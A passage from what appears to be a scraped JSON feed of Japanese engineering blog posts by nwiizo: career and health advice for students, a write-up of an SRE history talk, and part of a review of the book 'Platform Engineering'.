精治サンマーク出版Amazon適切な食事も、持続的な集中力の維持に不可欠です。ただ、多くのエンジニアに共通して見られる問題として、安易に糖質に偏った食事を選択しがちという傾向があります。手軽なカップ麺やパン類、菓子類への依存は、一時的な満足感は得られても、長期的には集中力の低下を招きます。特に気をつけたいのがタンパク質の摂取不足です。プログラミングは脳を使う仕事であり、脳の働きを最適化するためには十分なタンパク質摂取が欠かせません。忙しい中でも、プロテインドリンクの活用や、コンビニで手に入る鶏むね肉のサラダなど、手軽にタンパク質を補給できる方法を確保しておくことをお勧めします。ここで個人的におすすめなのが低温調理器の活用です。特に鶏むね肉の調理に関しては、低温調理器があれば手間をかけずに柔らかく美味しいタンパク質を確保できます。帰宅後に調理を始めるのは大変ですが、低温調理器なら出勤前にセットしておくだけで、帰宅時には完璧な火加減の料理が待っています。しかも、大量調理が可能なので、一度の調理で数日分のタンパク質を準備できます。コーヒーや糖分に頼りすぎない食生活を意識することも重要です。特に朝食では、炭水化物とタンパク質をバランスよく摂取することで、一日を通して安定したパフォーマンスを発揮できます。疲れない体をつくる最高の食事術作者:牧田善二小学館Amazonそして見落とされがちなのが、意識的な休養時間の確保です。連続的な作業は、必ずしも生産性の向上には繋がりません。むしろ、疲れをごまかして動き続けることは、回復に要する時間を延ばすだけでなく、深刻な健康上の問題を引き起こす可能性があります。休養には「生理的休養」「心理的休養」「社会的休養」の3種類があり、これらを適切に組み合わせることで、より効果的な疲労回復が期待できます。ただし、ここで言う休養とは、スマートフォンを触ることではありません。むしろ、休憩時間にスマートフォンを見ることは、脳を別の形で疲労させてしまう最悪の選択と言えます。理想的な休養とは、「自分で決めた」「仕事とは関係ない」「成長できる」「楽しむ余裕がある」という条件を満たした活動を指します。これらの要素が揃うことで、単なる休憩ではなく、心身の本質的な回復と成長をもたらす「攻めの休養」となります。デジタルデバイスから完全に離れ、心身をリセットする時間が必要です。短い散歩や深呼吸、窓の外を眺めるなど、意識的に何もしない時間を作ることで、脳は自然と新しいアイデアを生み出す準備を整えていきます。これは一見、時間の無駄に思えるかもしれませんが、長期的な生産性向上には不可欠な投資なのです。休養学―あなたを疲れから救う作者:片野 秀樹東洋経済新報社Amazon運動も確かに重要ですが、それは全体の一部分でしかありません。質の良い睡眠、バランスの取れた食事、適切な休憩。これらすべての要素が揃って初めて、エンジニアとして最高のパフォーマンスを発揮できるのです。ぜひ、生活習慣全体を見直す機会にしていただければと思います。おわりに後から見返すと純粋な学生に対して偉そうで斜に構えた回答をしてるなぁ… もっとベタをやれって思ってしまいました。ともあれ無事に終わって良かったです。学生の皆さんと対話できる貴重な機会を得て、私自身も多くの気づきがありました。かつての自分も同じような不安や悩みを抱えていたことを思い出し、その時の気持ちが今でも鮮明に蘇ってきます。そして不思議なことに、皆さんの質問に答えながら、過去の自分自身とも対話をしているような感覚がありました。技術の世界は常に変化し続けています。その中で最も重要なのは、技術そのものではなく、技術を学び続ける力、問題を解決する力、そして人と協力する力です。これは今も昔も変わらない真理だと感じています。皆さんには無限の可能性があります。当時の私がそうだったように、今は不安や迷いがあるかもしれません。でも、その不安を抱えながらも一歩を踏み出す勇気があれば、必ず道は開けます。失敗を恐れず、積極的に挑戦し続けてください。私たち社会人エンジニアは、かつての自分を重ねながら、皆さんの成長を心から応援しています。そして、この対話を通じて、私自身も過去の自分と向き合い、その不安や迷いを受け止め直すことができました。私たちは常に、過去の自分を励ましながら、未来の誰かの道標となれるよう成長し続けているのかもしれません。なお、イベントでお会いした学生の皆さん、もし追加の質問や相談事があれば、お気軽にDMをください。可能な範囲で、皆さんのキャリアについて一緒に考えていけたらと思います。pitta.me","isoDate":"2024-11-16T15:34:21.000Z","dateMiliSeconds":1731771261000,"authorName":"nwiizo","authorId":"nwiizo"},{"title":"点でしかないものを線で見る為に - 「SREの前に」というタイトルで登壇しました。","link":"https://syu-m-5151.hatenablog.com/entry/2024/11/11/110223","contentSnippet":"はじめに先日、技育プロジェクト(株式会社サポーターズ)主催の技育CAMPアカデミアという勉強会にて「SREの前に」というイベントで登壇する機会をいただきました。今回は「点」としての情報を「線」として繋げて見ることの重要性について、お話しさせていただきました。このイベントは、特にこれからSREを目指す学生の方々に向けて、運用の基礎的な考え方や歴史的背景を共有することを目的としています。サピエンス全史 上 文明の構造と人類の幸福 (河出文庫)作者:ユヴァル・ノア・ハラリ河出書房新社Amazonイベントページtalent.supporterz.jpどこにでも答えがある時代私たちは情報があふれる時代に生きています。技術書やオンラインドキュメント、技術ブログ、そして最近では生成AIなど、様々な方法で技術知識を得ることができます。しかし、これらの情報の多くは「点」として存在しています。なぜその技術が生まれたのか、どのような課題を解決しようとしていたのか、当時のエンジニアたちは何を考えていたのか―――そういった文脈や歴史的な背景は、資料や書籍だけでは見えづらいものです。それでも必要とされるエンジニアになってほしい「SREとは何か」という知識自体は、今や簡単に手に入ります。しかし、なぜSREという概念が必要とされるようになったのか、従来の運用との本質的な違いは何か、といった背景を理解することは容易ではありません。運用の世界では、過去の経験や失敗から学び、それを現在の実践に活かすことが非常に重要です。こうした経験や知見は、単なる技術ドキュメントからは読み取ることが難しいのです。そして、さらに重要なのは、その時々の「正解っぽい何か」を理解し、実際の課題解決に活かせるようになることです。技術やプラクティスは、それ自体が目的なのではありません。例えば、SREの施策やベストプラクティスも、結局のところ「どうすれば安定的にサービスを運用できるか」という課題に対する一つの解答なのです。私たちに求められているのは、その解答を理解し、自分たちの文脈に合わせて適切に活用していく力ではないでしょうか。技術の変遷を知ることで見えてくるものこの20年間で技術は劇的に変化しました。クラウドの普及、コンテナ技術の発展、マイクロサービスアーキテクチャの採用など、システムの在り方そのものが大きく変わってきています。しかし、これらの変化の根底には「より良いサービスを、より確実に、より効率的に提供したい」という普遍的な願いがあります。技術の進化を「新しい技術の登場」としてだけでなく、「なぜその技術が必要とされたのか」という視点で理解することで、次に何が必要とされるのか、自分たちはどう進化していくべきなのかが見えてくるはずです。発表を通じて伝えたかったこと今回の発表で、特に若手エンジニアの皆さんに伝えたかったのは、技術を「点」で捉えるのではなく、その背景にある文脈や歴史的な流れを「線」として理解することの大切さです。これは単に「過去を知る」ということではなく、未来への洞察力を養うことにもつながります。変化の激しいIT業界では、個々の技術は常に進化し、新しいものに置き換わっていきます。しかし、その変化の本質を理解し、次の一手を考えられるエンジニアこそが、これからも必要とされ続けるのだと信じています。そして、これは重要な点なのですが、私たちが目にする技術の変遷は、常に正解への道のりだったわけではありません。むしろ、その時々の制約や状況の中で、エンジニアたちが必死に模索した結果の一つにすぎません。「その時はそれしか選択肢がなかった」という判断もまた、とても重要な文脈です。この視点を持つことで、現在の技術選択に対しても、より深い理解と柔軟な判断が可能になるのではないでしょうか。発表資料 speakerdeck.com今回の発表では、以下のような内容をお話させていただきました。運用の歴史的変遷2000年代前半の運用現場では、多くが手作業で行われ、開発チームと運用チームの間には大きな壁が存在していました。その後、2009年頃からDevOpsの概念が登場し、開発と運用の協調が重要視されるようになりました。2010年代に入ると、GoogleによってSREが体系化され、データドリブンな運用やプロアクティブな障害対策が標準的なアプローチとなっていきました。現代の運用における課題現在のSREは、システムの複雑化やマイクロサービスアーキテクチャの採用により、新たな課題に直面しています。特に以下の点が重要になってきています:システムの複雑性の管理クラウドネイティブ環境での信頼性確保組織の成長に伴う運用のスケーリング継続的なシステム改善の実現歴史から学ぶ重要性発表では特に、過去の経験や失敗から学ぶことの重要性を強調しました。技術の進化は決して直線的ではなく、過去の課題が形を変えて再び現れることも少なくありません。そのため、歴史的な文脈を理解することは、現在の課題に対する解決策を考える上で非常に重要です。この発表が、技術を学ぶ方々、特に学生の皆さんにとって、個々の知識を繋げて理解するための一助となれば幸いです。単に「今」の技術トレンドを追いかけるだけでなく、その背景にある文脈や歴史を理解することで、より深い技術理解と、将来の変化への対応力を身につけることができるのではないかと考えています。システムの本質を見失わないために本発表では詳しく触れませんでしたが、ここで一つ重要な課題に言及しておきたいと思います。クラウドの発展は、確かにシステム開発を劇的に効率化しました。ですが、その便利さは大きな落とし穴も持っています。クラウドの力が強大になり、エンジニアの技術力が相対的に低下し、それがさらなるクラウド依存を生む。この負のサイクルは、私たちの目の前で着実に進行しています。禅とオートバイ修理技術 上 (ハヤカワ文庫NF)作者:ロバート M パーシグ早川書房Amazonシステムが動作している状態さえ維持できれば問題ないという考え方や、複雑な問題はクラウドサービスに任せておけばよいという姿勢は、一見合理的に見えます。しかし、システムの性能改善や障害対応時に、表面的な理解しかないエンジニアには、その本質的な原因を特定することすらできません。各システムの深い理解と、時には「痛み」とも呼べる経験は必要不可欠です。しかし、「動いているからいい」という現状で、この必要性を伝えることは非常に難しい。これは現代のエンジニアリング教育における最大の課題です。禅とオートバイ修理技術 下 (ハヤカワ文庫NF)作者:ロバート M パーシグ早川書房Amazonエンジニアリングの本質は表面的な最適化ではありません。まず根本的な理解があり、その上で適切な抽象化や最適化を行う―――これこそが、私たちが目指すべき姿なのです。コンピュータの構成と設計 MIPS Edition 第6版  上・下電子合本版作者:David Patterson,John Hennessy日経BPAmazon最後に今回の発表を通じて、多くの学生の方々と交流する機会を得ました。皆さんの熱心な質問や鋭い観察には、とても励まされました。もうすぐ30歳を迎える身として、学生の皆さんの真摯な質問一つひとつに胸が熱くなり、できる限り丁寧に答えたいという気持ちで一杯になりました。実は私自身、学生時代は進むべき道に悩み、多くの不安を抱えていました。だからこそ、今回質問をしてくださった学生の皆さん、そしてイベントに来てくださった全ての方々と、いつかじっくりとお話ができればと思っています。(ちなみに、この年になっても人見知りが抜けず、時々無愛想な態度をとってしまうことがあります。そんな時は「まだまだ成長途中のエンジニア」として、温かい目で見守っていただけると嬉しいです)技術の世界は日々変化していきますが、その変化の中に普遍的な価値を見出し、理解を深めていく姿勢は、エンジニアとして成長していく上で最も重要な要素の一つだと考えています。時には「その時はそれしか選択肢がなかった」という判断があったことを理解しつつ、過去のエンジニアにリスペクトを送りつつ私たちはきっと、この悩みや探求の過程を共有することで、共に成長していけるはずです。最後に、このような貴重な機会を提供してくださった技育プロジェクト(株式会社サポーターズ)のスタッフの皆様、そして参加してくださった皆様に心より感謝申し上げます。若手エンジニアの皆さんの成長を、これからも微力ながら支援させていただければ幸いです。","isoDate":"2024-11-11T02:02:23.000Z","dateMiliSeconds":1731290543000,"authorName":"nwiizo","authorId":"nwiizo"},{"title":"SREの前に","link":"https://speakerdeck.com/nwiizo/srenoqian-ni","contentSnippet":"2024年11月06日(水) 18:00~19:00の予定に遅刻してしまい、大変申し訳ございませんでした。お詫びとして、当初非公開予定であった資料を公開させていただきます。元々、公開する予定ではなかったので補足が足りない部分などあると思いますのでご容赦下さい。\r\rブログなどで補足情報出すかもなので気になればフォローしてください\r- https://syu-m-5151.hatenablog.com/\r- https://x.com/nwiizo\r\r\rSREの前に - 運用の原理と方法論\r公式URL: https://talent.supporterz.jp/events/2ed2656a-13ab-409c-a1d9-df8383be25fd/","isoDate":"2024-11-06T05:00:00.000Z","dateMiliSeconds":1730869200000,"authorName":"nwiizo","authorId":"nwiizo"},{"title":"技術がなければ作れない、必要がなければ存在している資格がない - Platform Engineering: A Guide for Technical, Product, and People Leaders の読書感想文","link":"https://syu-m-5151.hatenablog.com/entry/2024/10/25/060600","contentSnippet":"我に似せる者は生き、我を象る者は死す(本質を理解して創造的に学ぶ者は発展し、表面的な模倣に留まる者は衰退する)。はじめに「Platform Engineering: A Guide for Technical, Product, and People Leaders」は、現場での実践知を出発点として、プラットフォームエンジニアリングの本質に迫る実践的なガイドとして、技術リーダーから上級管理職まで向けた幅広い読者層に向けて書かれています。個人的にはもう少しだけ広げて開発者やプラットフォームを実際に使う側も読んでも学びのある本だと思いました。著者のCamilleとIanの豊富な経験が凝縮された本書は、単なる表面的な手法の模倣ではなく、実際の現場での試行錯誤から導き出されたプラクティス、そしてその背後にある根本的な原理と思想を探求し、それが現代のソフトウェア開発組織においていかに革新的な価値を生み出すかを浮き彫りにしています。本書の真価は、プラットフォームエンジニアリングを単なる技術的な手法の集合としてではなく、日々の実践から得られた知見を体系化し、組織の進化と持続的な成長を促す戦略的な思考基盤として捉えている点にあります。技術的な実装の詳細よりも、組織が現場の文脈に根ざした実践を重ね、そこからプラクティスを抽出し、最終的にプラットフォームエンジニアリングの本質的な原則を理解して創造的に応用していく方法論に重点が置かれています。これは、現代のソフトウェア開発組織が直面する複雑性の管理と開発者体験の向上という課題に対する、本質的かつ持続可能な解決の道筋を示すものとなっています。Platform Engineering: A Guide for Technical, Product, and People Leaders (English Edition)作者:Fournier, Camille,Nowland, IanO'Reilly MediaAmazonプラットフォームエンジニアリングの重要性プラットフォームエンジニアリングは、複雑なソフトウェア環境でのイノベーションを促進する開発者体験の向上に不可欠な鍵となり、クラウドへの移行だけでは解決できない問題に対処するための重要な基盤を提供しています。さらに、組織の成長に伴うスケーラビリティの要求とセキュリティニーズの両方に対応する重要な役割を果たすことで、現代のソフトウェア開発組織にとって極めて重要な存在となっています。learning.oreilly.com本書が組織的・戦略的側面に焦点を当てているのに対し、より技術的な側面、特にCloud Nativeな実装に興味がある方には、「Platform Engineering on Kubernetes」がおすすめです。こちらの書籍では、Kubernetesを基盤としたプラットフォームエンジニアリングの実践的なアプローチが詳細に解説されています。syu-m-5151.hatenablog.com両書を併読することで、プラットフォームエンジニアリングの組織的側面と技術的側面の両方を深く理解することができ、より包括的な知識を得ることができるでしょう。本書の構成と特徴本書は現場での実践を起点としながら、プラットフォームエンジニアリングを組織的、戦略的に展開するためのガイドとして構成されており、著者たちが数々の現場で直面した課題と、そこから得られた具体的で実行可能な知見を提供しています。特筆すべきは、個々の技術的解決策にとどまらず、チーム構成や製品管理、ステークホルダーマネジメントなど、現場で真に重要となる組織的側面にも焦点を当てている点で、日々の実践に携わる技術リーダーからCTOやSVPなどの組織の舵取りを担う上級管理職までを想定した実践的な内容となっています。最後に、これら3つのパートは、現場での実践から抽出された原則(Part I)、その原則に基づく具体的なプラクティス(Part II)、そしてそれらの効果を測定・評価する方法(Part III)という、現場起点の論理的な流れを形成しています。特に、第3部で提示される成功の定義は、第1部で説明される現場から導き出された原則と、第2部で示される実践的なアプローチを有機的に結びつける重要な役割を果たしています。本書は、プラットフォームエンジニアリングの現場で直面する本質的な難しさを率直に語っています。具体的には、「技術的に面白いから作る」のではなく現場で真に必要とされるものを見極めて提供するという価値提供の本質、計画の難しさを認識しつつも現場の文脈に応じて適切に実行するという実践知、そして組織の重要なシステムを支える責任を全うするための運用の成熟という現場力の醸成といった課題を挙げています。これらの課題に対して、本書は原則に基づきながらも現場の実態に即した解決の道筋を示しています。正しいものを正しくつくる プロダクトをつくるとはどういうことなのか、あるいはアジャイルのその先について作者:市谷 聡啓ビー・エヌ・エヌ新社AmazonPart I. Platform Engineeringの本質と意義第1部は、Platform Engineeringの根本的な「なぜ」と「何を」に焦点を当てています。Simon Sinekの「イノベーションは夢からではなく、苦闘から生まれる」という言葉に象徴されるように、本章では現代のソフトウェア開発が直面する複雑性と変化の課題に対して、Platform Engineeringがなぜ適切なアプローチなのかを解説しています。特に印象的なのは、Platform Engineeringの4つの柱(製品思考、ソフトウェアエンジニアリング、包括的アプローチ、運用効率)について、単なる理論的な枠組みではなく、実践的な基盤として提示している点です。私の経験でも、これらの要素のバランスを取ることが、プラットフォームチームの成功への鍵となっています。また、国内の参考資料として、jacopenさんの『「共通基盤」を超えよ! 今、Platform Engineeringに取り組むべき理由』がおすすめです。この記事を読むことで、本書の全体像がより明確に理解できるので一読してもらいたいです。 speakerdeck.comChapter 1. Why Platform Engineering Is Becoming Essential第1章「Why Platform Engineering Is Becoming Essential」は、プラットフォームエンジニアリングが現代のソフトウェア開発組織において不可欠となっている背景と理由について、包括的な視点から解説しています。著者は、過去25年間のソフトウェア組織が直面してきた共通の課題から説き起こし、クラウドコンピューティングとオープンソースソフトウェア(OSS)の台頭がもたらした複雑性の増大、そしてそれに対するプラットフォームエンジニアリングの解決アプローチを詳細に論じています。プラットフォームエンジニアリングの本質と定義著者は、プラットフォームを「自己サービス型のAPI、ツール、サービス、知識、サポートを、魅力的な内部プロダクトとして組み合わせた基盤」と定義しています。この定義は、単なる技術的な基盤以上のものを示唆しており、プラットフォームが組織全体に提供する価値を包括的に捉えています。他にもCNCFが公開している「CNCF Platforms White Paper」では、Platformsについて「クラウドネイティブコンピューティングのためのプラットフォームは、プラットフォームのユーザーのニーズに応じて定義・提示される統合された機能のコレクションです。幅広いアプリケーションやユースケースに対して、一般的な機能やサービスを取得・統合するための一貫した体験を確保するクロスカッティングなレイヤーです。優れたプラットフォームは、Webポータル、プロジェクトテンプレート、セルフサービスAPIなど、その機能やサービスの利用と管理に一貫したユーザー体験を提供します」と定義しています。tag-app-delivery.cncf.ioまた、プラットフォームエンジニアリングの成熟度を評価するための「Platform Engineering Maturity Model」も公開されていますので、ぜひ参考にしてください。tag-app-delivery.cncf.ioFigure 1-1. The over-general swamp, held together by glue より引用[Figure 1.1]では、「Over-General Swamp」の状態を示しており、多数のアプリケーションが個別のプリミティブと直接統合され、それらの間を大量のglueコードが繋いでいる様子が描かれています。この図は、プラットフォームが存在しない状態での複雑性の増大を視覚的に表現しています。あるプログラムで、異なるシステムやコンポーネントを連携させるために書かれる仲介的なコードのことです。このコードは、システムの本来の機能には直接関係しませんが、互換性のない部品同士をスムーズに連携させるために必要な「接着剤」のような役割を果たします。これを『グルーコード』と言います。ja.wikipedia.org特に印象的なのは、著者がプラットフォームエンジニアリングを複雑性を管理しながらビジネスへのレバレッジを提供するという明確な目的を持った規律として位置づけている点です。私の経験でも、単なる技術的な基盤提供を超えて、開発者の生産性向上とビジネス価値の創出を同時に実現することが、プラットフォームエンジニアリングの成功の鍵となっています。現代のソフトウェア開発における「Over-General Swamp」の問題Figure 1-2. How platforms reduce the amount of glue より引用[Figure 1.2]は、プラットフォームエンジニアリングによる解決後の状態を示しています。この図では、プラットフォームが複数のプリミティブを抽象化し、アプリケーションとの間にクリーンなインターフェースを提供している様子が描かれています。glueコードが大幅に削減され、システム全体の見通しが改善されていることが分かります。著者は現代のソフトウェア開発環境を「Over-General Swamp(過度に一般化された沼)」と表現し、この比喩を通じて複雑性の罠を見事に描き出しています。クラウドとOSSの普及により、開発者は豊富な選択肢を手に入れましたが、それは同時に「接着剤(glue)」と呼ばれる統合コードやカスタム自動化の増加をもたらしました。プラットフォームエンジニアリングによる解決アプローチ著者が提示するプラットフォームエンジニアリングの解決策は、製品としてのアプローチを重視しています。これは、ユーザー中心の視点を持ちながら、機能の取捨選択を慎重に行い、全体としての一貫性と使いやすさを追求することを意味します。Appleの製品開発アプローチを例に挙げながら、著者は機能の追加だけでなく、むしろ何を含めないかの判断の重要性を強調しています。INSPIRED 熱狂させる製品を生み出すプロダクトマネジメント作者:マーティ・ケーガン,佐藤真治,関満徳日本能率協会マネジメントセンターAmazon技術的な側面では、プラットフォームエンジニアリングは複雑性を管理可能なレベルに抑えることを目指します。例えば、インフラストラクチャの分野では、Terraformの例を用いて、個々のチームが独自にインフラストラクチャを管理する場合の問題点と、プラットフォームによる抽象化がもたらす利点が説明されています。DXを成功に導くクラウド活用推進ガイド CCoEベストプラクティス作者:黒須 義一,酒井 真弓,遠山 陽介,伊藤 利樹,饒村 吉晴日経BPAmazonプラットフォームチームの役割とイノベーション著者は、プラットフォームチームの役割について、従来のインフラストラクチャ、DevTools、DevOps、SREの各アプローチとの違いを明確に示しています。これらの従来のアプローチは、それぞれの専門分野に特化していますが、プラットフォームエンジニアリングはこれらの境界を越えて、より包括的な価値を提供することを目指します。チームトポロジー 価値あるソフトウェアをすばやく届ける適応型組織設計作者:マシュー・スケルトン,マニュエル・パイス日本能率協会マネジメントセンターAmazon特筆すべきは、著者がイノベーションとプラットフォームの関係について、現実的な見解を示している点です。プラットフォームは既存の技術スタック内でのビジネスイノベーションを促進する一方で、プラットフォームの範囲を超えた革新的な取り組みも必要だと認めています。例えば、データ領域での新しい技術の採用など、プラットフォームの制約を一時的に超えることが必要な場合もあると指摘しています。章全体からの学び第1章は、プラットフォームエンジニアリングが現代のソフトウェア開発組織にとって不可欠な理由を説得力のある形で提示しています。複雑性の増大、運用負荷の増加、イノベーションの必要性といった課題に対して、プラットフォームエンジニアリングは包括的な解決策を提供します。著者は、プラットフォームエンジニアリングが単なる技術的な取り組みではなく、組織全体の成功に関わる戦略的な施策であることを強調しています。これは、私の実務経験とも強く共鳴する見解です。プラットフォームエンジニアリングの成功には、技術的な卓越性だけでなく、組織的な変革とイノベーションのバランスを取ることが求められます。今後のソフトウェア開発組織にとって、プラットフォームエンジニアリングの導入は避けて通れない課題となるでしょう。本章は、その理由と意義を深く理解するための優れた導入を提供しています。特に、プラットフォームエンジニアリングが組織にもたらす具体的な価値と、その実現に向けた実践的なアプローチについての示唆は、多くの組織にとって有用な指針となるはずです。特に注目すべきは、プラットフォームを「製品」として扱うアプローチや、ステークホルダーマネジメントの重要性など、技術面だけでなく組織的な側面にも焦点を当てている点です。これらの知見は、プラットフォームエンジニアリングの実践において大きな価値をもたらすと考えられます。プラットフォームエンジニアリングリーダーとして、本書から学んだ知識を自身のチームや組織に適用し、より効果的なプラットフォーム戦略を構築していくことが重要です。また、本書が提起する課題や解決策について、同僚や業界のピアとのディスカッションを通じて、さらなる洞察を得ることができるでしょう。このような実践と対話を通じて、プラットフォームエンジニアリングの分野がさらに発展していくことが期待されます。「翻訳記事 -「インフラ基盤部門は本当に必要か」に関する議論」なんかもとても良い記事なので読んでほしいです。ca-srg.devChapter 2. The Pillars of Platform Engineering第2章「The Pillars of Platform Engineering」は、プラットフォームエンジニアリングの4つの重要な柱について詳細に解説しています。著者は、Product(製品としてのアプローチ)、Development(ソフトウェアベースの抽象化)、Breadth(幅広い開発者への対応)、Operations(基盤としての運用)という4つの柱を通じて、効果的なプラットフォームエンジニアリングの実践方法を示しています。これらの柱は相互に補完し合い、成功するプラットフォームエンジニアリングの基礎を形成しています。キュレートされた製品アプローチの重要性プラットフォームエンジニアリングにおける最初の柱は、キュレートされた製品アプローチです。このアプローチは、単なる技術的な実装を超えて、ユーザーのニーズを中心に据えた戦略的な製品開発を意味します。著者は、これを「paved paths(舗装された道)」と「railways(鉄道)」という2つの異なるタイプのプラットフォーム製品として説明しています。Paved Pathsは、複数のオファリングを統合した使いやすいワークフローを提供し、アプリケーションチームから複雑性を隠蔽しながら、パレート原理に基づいて20%のユースケースで80%のニーズをカバーすることを目指す標準的なアプローチを提供します。Figure 2-1. Architecture of a paved path platform より引用[Figure 2.1]は「paved path」の概念を視覚的に表現しており、複数のオファリングを使いやすいワークフローとして統合し、アプリケーションチームから複雑性を隠蔽する方法を示しています。これは共通のニーズに対応するための標準的なアプローチを提供することを目的としており、著者が提唱する製品としてのプラットフォームの本質を端的に表現しています。Railwaysは、既存製品では対応できない特定ニーズに応え、組織全体に特定の機能を提供するための重要なインフラストラクチャ投資を伴い、プロトタイプから進化してスケーラブルなソリューションを提供する新しい形態のプラットフォームです。Figure 2-2. Architecture of a railway platform より引用[Figure 2.2]は「railway」型プラットフォームを示しており、既存の製品では対応できない特定のニーズに応える新しい形態のプラットフォームを表現しています。具体例として、バッチジョブプラットフォーム、通知システム、グローバルアプリケーション設定プラットフォーム、データ処理パイプライン、監視・モニタリングプラットフォームなどが挙げられます。プラットフォームを製品として捉えることは、単なる技術的な選択以上の意味を持ちます。ユーザー中心のデザインを通じて一貫性のある使いやすいインターフェースを提供し、明確なドキュメンテーションと効果的なオンボーディング体験を実現することが重要です。また、必要な機能の追加と不要機能の大胆な削除を行いながら、機能の優先順位付けを適切に管理し、継続的な改善サイクルを通じてユーザーフィードバックを収集・分析し、パフォーマンス指標の測定と定期的な機能の見直しを行うことが求められます。ソフトウェアベースの抽象化の実現著者は、「ソフトウェアを構築していないなら、それはプラットフォームエンジニアリングではない」と明確に述べています。この主張は、プラットフォームエンジニアリングの本質を理解する上で極めて重要です。効果的な抽象化を実現するためには、適切な粒度での機能分割、一貫性のあるインターフェース、バージョニング戦略、エラーハンドリングなどのAPI設計の原則に加えて、スケーラビリティ、パフォーマンス、セキュリティ、監視可能性などの実装上の考慮事項も重要となります。幅広い開発者ベースへのサービス提供プラットフォームの対象は幅広い開発者ベースであり、セルフサービス機能、ユーザー観測性、ガードレール、マルチテナンシーが重要な要素となります。これらは直感的なユーザーインターフェースとAPI駆動の自動化による効率的なワークフロー、詳細なログ記録とパフォーマンスメトリクス、セキュリティ制御とリソース制限、そしてリソースの分離とアクセス制御を実現します。GenerativeAIの影響と展望著者は、GenerativeAIがプラットフォームエンジニアリングに与える影響について、MLOpsの進化、ツールチェーンの整備、インフラストラクチャの効率化、データガバナンス、LLMエコシステムの観点から包括的な分析を提供しています。これには、モデル開発ライフサイクル管理とデプロイメント自動化、研究者向けインターフェースと非技術者向け操作性、コンピュートリソースとストレージの最適化、プライバシー保護とコンプライアンス対応、そしてモデル選択と統合が含まれます。基盤としての運用プラットフォームが組織の基盤として機能するためには、プラットフォームへの責任、プラットフォームのサポート、運用規律という3つの要素が不可欠です。これらは、エンドツーエンドの管理と問題解決の主導、ユーザーサポート体制とドキュメンテーションの充実、そして標準化されたプロセスと品質管理を通じて実現されます。章全体からの学び第2章は、プラットフォームエンジニアリングの4つの柱を通じて、成功するプラットフォームの要件を明確に示しています。技術的な卓越性、組織的な変革、イノベーション、継続的な進化が、プラットフォームエンジニアリングの成功には不可欠です。これらは最新技術の適用とパフォーマンスの最適化、チーム構造の最適化とスキル開発、新技術の評価と導入、そしてフィードバックの収集と反映を通じて実現されます。これらの要素は相互に関連し、バランスの取れた実装が必要となります。プラットフォームエンジニアリングは継続的な取り組みであり、技術的な側面だけでなく、組織的な支援と文化の醸成を通じて常に進化し続ける必要があります。Part II. Platform Engineering Practices第2部は、C.S.Lewisの「卵が鳥になるのは難しいかもしれないが、卵のままで飛ぶ方がよほど難しい」という言葉から始まり、プラットフォームエンジニアリングの実践的な側面に焦点を当てています。著者は8つの主要な失敗パターンを特定し、それぞれに対する具体的な解決策を提示しています。特に重要なのは、プラットフォームエンジニアリングが単なるインフラストラクチャエンジニアリングやDevOpsの再ブランディングではないという指摘です。私のチームでも、適切なタイミングでの開始、適切な人材ミックス、製品思考の導入、効果的な運用という要素が、成功への重要な要因となっています。Chapter 3. How and When to Get Started第3章「How and When to Get Started」は、プラットフォームエンジニアリングの導入時期と方法について、組織の成熟度や規模に応じた具体的なアプローチを提供しています。著者は、三つの主要な状況に焦点を当て、各シナリオにおける成功への道筋を示しています。小規模組織でのプラットフォーム協力の育成著者は小規模スタートアップにおけるプラットフォームエンジニアリングのアプローチを、成熟度モデルを用いて説明しています。特に注目すべきは、アドホック段階とやや管理された段階という2つのフェーズの定義です。この文脈で参考になるのが、CNCF Platform Engineering Maturity Modelです。このフレームワークは、組織の成熟度を評価し、次のステップを計画する際の指針となります。tag-app-delivery.cncf.ioアドホック段階では、シンプルな自動化と基本的なプロセスの確立に焦点を当てることが推奨されています。著者は、この段階で重要なのはソースコントロール、自動化された継続的デプロイメント、そして軽量なプロセスの3つの要素だと強調しています。これは私の経験とも一致しており、特に小規模チームにおいては、過度に複雑なプロセスや高度な技術スタックを避け、シンプルさを保つことが重要です。やや管理された段階では、チームの成長に伴い、より構造化されたアプローチが必要となります。著者はローカル開発環境の自動化、ステージング環境の整備、観測可能性の向上などの要素を重視しています。この段階での重要な洞察は、技術選択の社会化と意思決定プロセスの確立の必要性です。チームトポロジー 価値あるソフトウェアをすばやく届ける適応型組織設計作者:マシュー・スケルトン,マニュエル・パイス日本能率協会マネジメントセンターAmazon協力を代替するプラットフォームチームの創設組織の成長に伴い、アドホックな協力体制から正式なプラットフォームチームへの移行が必要となります。著者は、この移行のタイミングとしてダンバー数(50-250人)を参考指標として挙げています。これは、組織内の協力関係が自然に維持できる限界を示す重要な指標です。この移行のプロセスについては、DevOps Topologiesが有用な参考資料となります。web.devopstopologies.com著者は、プラットフォームチームの設立において、所有権の中央集権化がもたらす利点とコストのバランスを慎重に検討する必要性を強調しています。特に注目すべきは、新しい技術やアーキテクチャではなく、問題解決に焦点を当てるという原則です。これは、プラットフォームチームが陥りがちな、技術的な理想主義による過度な複雑化を避けるための重要な指針となります。internaldeveloperplatform.org伝統的なインフラストラクチャ組織の変革既存のインフラストラクチャ組織をプラットフォームエンジニアリング組織へと変革する過程について、著者は包括的なガイダンスを提供しています。特に重要なのは、エンジニアリング文化全体の変革の必要性です。従来のコスト管理やベンダー交渉中心の文化から、ユーザー中心の製品開発文化への転換が求められます。この変革プロセスを支援するフレームワークとして、Thoughtworks Technology Radarが有用です。www.thoughtworks.com特に重要なのは、エンジニアリング文化全体の変革の必要性です。従来のコスト管理やベンダー交渉中心の文化から、ユーザー中心の製品開発文化への転換が求められます。 本を紹介します。伝統的な組織からプロダクト中心の組織への移行について詳しく解説しています。PROJECT TO PRODUCT フローフレームワークでデジタルディスラプション時代に成功する方法作者:MIK KERSTENパレードAmazon変革のプロセスにおいて、著者は段階的なアプローチの重要性を強調しています。最も有望な領域から始め、成功事例を積み重ねていくことで、組織全体の変革を推進することが推奨されています。また、プロダクトマネージャーの役割についても現実的な視点が示されており、単にプロダクトマネージャーを採用するだけでは不十分で、エンジニアリングチームの協力が不可欠であることが指摘されています。「変化を嫌う人」を動かす:魅力的な提案が受け入れられない4つの理由作者:ロレン・ノードグレン,デイヴィッド・ションタル,船木 